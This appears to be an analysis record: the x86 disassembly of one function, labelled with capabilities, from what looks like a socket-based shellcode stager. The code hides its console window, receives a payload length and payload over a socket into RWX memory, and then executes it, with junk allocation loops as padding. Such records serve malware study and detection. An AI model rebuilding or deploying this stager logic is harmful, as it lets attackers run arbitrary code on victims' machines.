Function at 0x401a8a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0xc4e4
call fcn.00402bb0
sub esp, eax
call dbg.__main
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [ebp - 0xc], 0
jmp 0x401aea
mov dword [esp], 0x1b4b
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x43b0], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x10e4
jle 0x401ace
call sym._hldQlzPMgzIWi
call sym._JmsihcvAcB
mov dword [ebp - 0xafbc], eax
mov dword [ebp - 0xc], 0
jmp 0x401b28
mov dword [esp], 0x1da0
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xafb8], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x1b01
jle 0x401b0c
mov eax, dword [ebp - 0xafbc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jne 0x401b6b
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401b79
mov eax, dword [ebp - 0xafbc]
mov dword [esp], eax
call sym._hnHuummKNPQnm
mov eax, dword [ebp - 0x1c]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x401bcf
call sym._LYkHaPwsPhgviv
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0x43b0]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x10e4
jle 0x401bb0
cmp dword [ebp - 0x14], 0
jne 0x401bec
mov eax, dword [ebp - 0xafbc]
mov dword [esp], eax
call sym._hnHuummKNPQnm
mov eax, dword [ebp - 0x14]
mov byte [eax], 0xbf
mov eax, dword [ebp - 0x14]
lea edx, [eax + 1]
mov eax, dword [ebp - 0xafbc]
mov dword [edx], eax
mov dword [ebp - 0xc], 0
jmp 0x401c25
mov dword [esp], 0x1cc0
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xc4d8], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x546
jle 0x401c09
mov dword [ebp - 0xc], 0
jmp 0x401c56
call sym._yDAazUwgUYBopx
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xafb8]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x1b01
jle 0x401c37
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov eax, dword [ebp - 0x14]
lea edx, [eax + 5]
mov eax, dword [ebp - 0xafbc]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._LzvVlC
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
call eax
mov dword [ebp - 0xc], 0
jmp 0x401cb6
call sym._FvqEdws
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xc4d8]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x546
jle 0x401c97
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret